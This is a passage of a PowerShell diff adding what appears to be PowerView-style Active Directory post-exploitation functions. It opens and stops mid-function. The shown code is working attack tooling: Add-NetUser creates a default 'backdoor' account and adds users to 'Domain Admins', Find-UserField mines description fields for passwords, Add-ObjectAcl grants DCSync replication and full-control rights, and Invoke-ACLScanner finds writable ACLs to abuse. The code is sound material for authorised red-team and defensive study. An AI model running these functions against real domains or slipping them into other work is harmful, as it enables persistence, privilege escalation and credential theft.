-Properties $_.Properties + } + } + } +} + + +function Add-NetUser { +<# + .SYNOPSIS + + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. + + .PARAMETER UserName + + The username to add. If not given, it defaults to 'backdoor' + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to 'Password123!' + + .PARAMETER GroupName + + Group to optionally add the user to. + + .PARAMETER ComputerName + + Hostname to add the local user to, defaults to 'localhost' + + .PARAMETER Domain + + Specified domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" + + .Link + + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +#> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $UserName = 'backdoor', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateNotNullOrEmpty()] + [String] + $Domain + ) + + if ($Domain) { + + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null + } + + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True + + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + + try { + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" + } + catch { + Write-Warning '[!] User already exists!' + return + } + } + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" + + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) + + # commit the changes to the local machine + try { + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" + } + catch { + Write-Warning '[!] Account already exists!' + return + } + } + + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" + } + } +} + + +function Add-NetGroupUser { +<# + .SYNOPSIS + + Adds a user to a domain group or a local group on the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + .PARAMETER UserName + + The domain username to query for. + + .PARAMETER GroupName + + Group to add the user to. + + .PARAMETER ComputerName + + Hostname to add the user to, defaults to localhost. + + .PARAMETER Domain + + Domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + + Adds a localuser "john" to the local group "Administrators" + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + + Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +#> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $UserName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName, + + [String] + $Domain + ) + + # add the assembly if we need it + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # if we're adding to a remote host's local group, use the WinNT provider + if($ComputerName -and ($ComputerName -ne "localhost")) { + try { + Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" + ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") + "[*] User $UserName successfully added to group $GroupName on $ComputerName" + } + catch { + Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" + return + } + } + + # otherwise it's a local machine or domain add + else { + try { + if ($Domain) { + Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" + $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + return $Null + } + # get the full principal context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + } + else { + # otherwise, get the local machine context + Write-Verbose "Adding user $UserName to $GroupName on localhost" + $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + } + + # find the particular group + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) + + # add the particular user to the group + $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + + # commit the changes + $Group.Save() + } + catch { + Write-Warning "Error adding $UserName to $GroupName : $_" + } + } +} + + +function Get-UserProperty { +<# + .SYNOPSIS + + Returns a list of all user object properties. If a property + name is specified, it returns all [user:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Property names to extract for users. + + .PARAMETER Domain + + The domain to query for user properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-UserProperty -Domain testing + + Returns all user properties for users in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-UserProperty -Properties ssn,lastlogon,location + + Returns all an array of user/ssn/lastlogin/location combinations + for users in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + } +} + + +function Find-UserField { +<# + .SYNOPSIS + + Searches user object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-UserField -SearchField info -SearchTerm backup + + Find user accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SearchTerm = 'pass', + + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-UserEvent { +<# + .SYNOPSIS + + Dump and parse security events relating to an account logon (ID 4624) + or a TGT request event (ID 4768). Intended to be used and tested on + Windows 2008 Domain Controllers. + Admin Reqd? YES + + Author: @sixdub + + .PARAMETER ComputerName + + The computer to get events from. Default: Localhost + + .PARAMETER EventType + + Either 'logon', 'tgt', or 'all'. Defaults: 'logon' + + .PARAMETER DateStart + + Filter out all events before this date. Default: 5 days + + .EXAMPLE + + PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local + + .LINK + + http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + Param( + [String] + $ComputerName = $Env:ComputerName, + + [String] + [ValidateSet("logon","tgt","all")] + $EventType = "logon", + + [DateTime] + $DateStart=[DateTime]::Today.AddDays(-5) + ) + + if($EventType.ToLower() -like "logon") { + [Int32[]]$ID = @(4624) + } + elseif($EventType.ToLower() -like "tgt") { + [Int32[]]$ID = @(4768) + } + else { + [Int32[]]$ID = @(4624, 4768) + } + + #grab all events matching our filter for the specified host + Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + + if($ID -contains 4624) { + # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) + if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { + if($Matches) { + $LogonType = $Matches[0].trim() + $Matches = $Null + } + } + else { + $LogonType = "" + } + + # interactive logons or domain logons + if (($LogonType -eq 2) -or ($LogonType -eq 3)) { + try { + # parse and store the account used and the address they came from + if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { + if($Matches) { + $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() + $Matches = $Null + } + } + if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + # only add if there was account information not for a machine or anonymous logon + if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4624' + 'LogonType' = $LogonType + 'Time' = $_.TimeCreated + } + New-Object -TypeName PSObject -Property $LogonEventProperties + } + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } + if($ID -contains 4768) { + # the TGT event type + try { + if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { + if($Matches) { + $Username = $Matches[0].split("`n")[1].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() + $Matches = $Null + } + } + + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4768' + 'LogonType' = '' + 'Time' = $_.TimeCreated + } + + New-Object -TypeName PSObject -Property $LogonEventProperties + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } +} + + +function Get-ObjectAcl { +<# + .SYNOPSIS + Returns the ACLs associated with a specific active directory object. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER RightsFilter + + Only return results with the associated rights, "All", "ResetPassword","WriteMembers" + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + + Get the ACLs for the matt.admin user in the testlab.local domain + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + + Get the ACLs for the matt.admin user in the testlab.local domain and + resolve relevant GUIDs to their display names. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [Switch] + $ResolveGUIDs, + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers")] + $RightsFilter, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + + # get a GUID -> name mapping + if($ResolveGUIDs) { + $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + + process { + + if ($Searcher) { + + if($SamAccountName) { + $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + else { + $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Object = [adsi]($_.path) + if($Object.distinguishedname) { + $Access = $Object.PsBase.ObjectSecurity.access + $Access | ForEach-Object { + $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + + if($Object.objectsid[0]){ + $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $S = $Null + } + + $_ | Add-Member NoteProperty 'ObjectSID' $S + $_ + } + } + } | ForEach-Object { + if($RightsFilter) { + $GuidFilter = Switch ($RightsFilter) { + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + Default { "00000000-0000-0000-0000-000000000000"} + } + if($_.ObjectType -eq $GuidFilter) { $_ } + } + else { + $_ + } + } | Foreach-Object { + if($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { + try { + $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + New-Object -TypeName PSObject -Property $AclProperties + } + else { $_ } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Add-ObjectAcl { +<# + .SYNOPSIS + + Adds an ACL for a specific active directory object. + + AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) + https://adsecurity.org/?p=1906 + + ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. + + 'ResetPassword' doesn't need to know the user's current password + 'WriteMembers' allows for the modification of group membership + + .PARAMETER TargetSamAccountName + + Target object name to filter for. + + .PARAMETER TargetName + + Target object name to filter for. + + .PARAMETER TargetDistinguishedName + + Target object distinguished name to filter for. + + .PARAMETER TargetFilter + + A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" + + .PARAMETER TargetADSpath + + The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + + .PARAMETER TargetADSprefix + + Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PrincipalSID + + The SID of the principal object to add for access. + + .PARAMETER PrincipalName + + The name of the principal object to add for access. + + .PARAMETER PrincipalSamAccountName + + The samAccountName of the principal object to add for access. + + .PARAMETER Rights + + Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" + + .PARAMETER Domain + + The domain to use for the target query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john + + Grants 'john' all full access rights to the 'matt' account. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword + + Grants 'john' the right to reset the password for the 'matt' account. + + .LINK + + https://adsecurity.org/?p=1906 + + https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [CmdletBinding()] + Param ( + [String] + $TargetSamAccountName, + + [String] + $TargetName = "*", + + [Alias('DN')] + [String] + $TargetDistinguishedName = "*", + + [String] + $TargetFilter, + + [String] + $TargetADSpath, + + [String] + $TargetADSprefix, + + [String] + [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] + $PrincipalSID, + + [String] + $PrincipalName, + + [String] + $PrincipalSamAccountName, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] + $Rights = "All", + + [String] + $RightsGUID, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize + + if(!$PrincipalSID) { + $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize + + if(!$Principal) { + throw "Error resolving principal" + } + $PrincipalSID = $Principal.objectsid + } + if(!$PrincipalSID) { + throw "Error resolving principal" + } + } + + process { + + if ($Searcher) { + + if($TargetSamAccountName) { + $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + else { + $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects + + $TargetDN = $_.Properties.distinguishedname + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" + $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" + $ACEs = @() + + if($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + # allows for the modification of group membership + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} + } + } + + if($GUIDs) { + foreach($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + } + + Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + + try { + # add all the new ACEs to the specified object + ForEach ($ACE in $ACEs) { + Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + $Object = [adsi]($_.path) + $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) + $Object.PsBase.commitchanges() + } + } + catch { + Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Invoke-ACLScanner { +<# + .SYNOPSIS + Searches for ACLs for specifable AD objects (default to all domain objects) + with a domain sid of > -1000, and have modifiable rights. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv + + Enumerate all modifable ACLs in the current domain, resolving GUIDs to display + names, and export everything to a .csv +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveGUIDs, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # Get all domain ACLs with the appropriate parameters + Get-ObjectACL @PSBoundParameters | ForEach-Object { + # add in the translated SID for the object identity + $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) + $_ + } | Where-Object { + # check for any ACLs with SIDs > -1000 + try { + [int]($_.IdentitySid.split("-")[-1]) -ge 1000 + } + catch {} + } | Where-Object { + # filter for modifiable rights + ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) + } +} + + +function Get-GUIDMap { +<# + .SYNOPSIS + + Helper to build a hash table of [GUID] -> resolved names + + Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [CmdletBinding()] + Param ( + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $SchemaPath = (Get-NetForest).schema.name + + $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize + if($SchemaSearcher) { + $SchemaSearcher.filter = "(schemaIDGUID=*)" + try { + $SchemaSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + if ($RightsSearcher) { + $RightsSearcher.filter = "(objectClass=controlAccessRight)" + try { + $RightsSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-NetComputer { +<# + .SYNOPSIS + + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Printers + + Switch. Return only printers. + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetComputer + + Returns the current computers in current domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem, + + [String] + $ServicePack, + + [String] + $Filter, + + [Switch] + $Printers, + + [Switch] + $Ping, + + [Switch] + $FullData, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + + if ($CompSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" + } + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + + $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + + try { + + $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Up = $True + if($Ping) { + # TODO: how can these results be piped to ping for a speedup? + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the DNS host name + $_.properties.dnshostname + } + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Get-ADObject { +<# + .SYNOPSIS + + Takes a domain SID and returns the user, group, or computer object + associated with it. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + 